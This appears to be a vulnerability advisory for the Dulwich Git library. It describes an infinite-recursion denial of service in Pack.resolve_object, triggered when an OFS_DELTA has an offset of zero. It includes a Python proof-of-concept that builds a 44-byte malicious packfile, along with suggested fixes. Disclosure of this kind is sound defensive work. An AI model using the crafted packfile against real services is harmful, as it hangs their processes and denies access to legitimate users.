Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution

Affected file

• dulwich/pack.py (Method: Pack.resolve_object)

Description / Summary

A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.

If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.

Vulnerable Code Breakdown (dulwich/pack.py):

elif obj_type == OFS_DELTA:
    delta_offset = parse_pack_object_offset_at(...)
    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0
    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion

Potential impact

An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).

1. CPU Exhaustion: The process will spin at 100% CPU indefinitely.
2. Denial of Service: Any service using dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.
3. Protocol Incompatibility: This behavior violates the Git packfile specification. The standard git C client explicitly guards against this: if (!base_offset) die("delta offset == 0 is invalid");.

POC (Proof of Concept)

The following Python script generates a 44-byte packfile that triggers the loop:

from dulwich.pack import Pack
import struct, zlib, tempfile, os

# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body

pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)

fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)

# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]

Possible solution

1. Explicit Guard: Add a check in Pack.resolve_object to reject delta_offset == 0:

   if delta_offset == 0:
       raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")
   

2. Recursion Depth: Implement a depth limit (e.g., MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).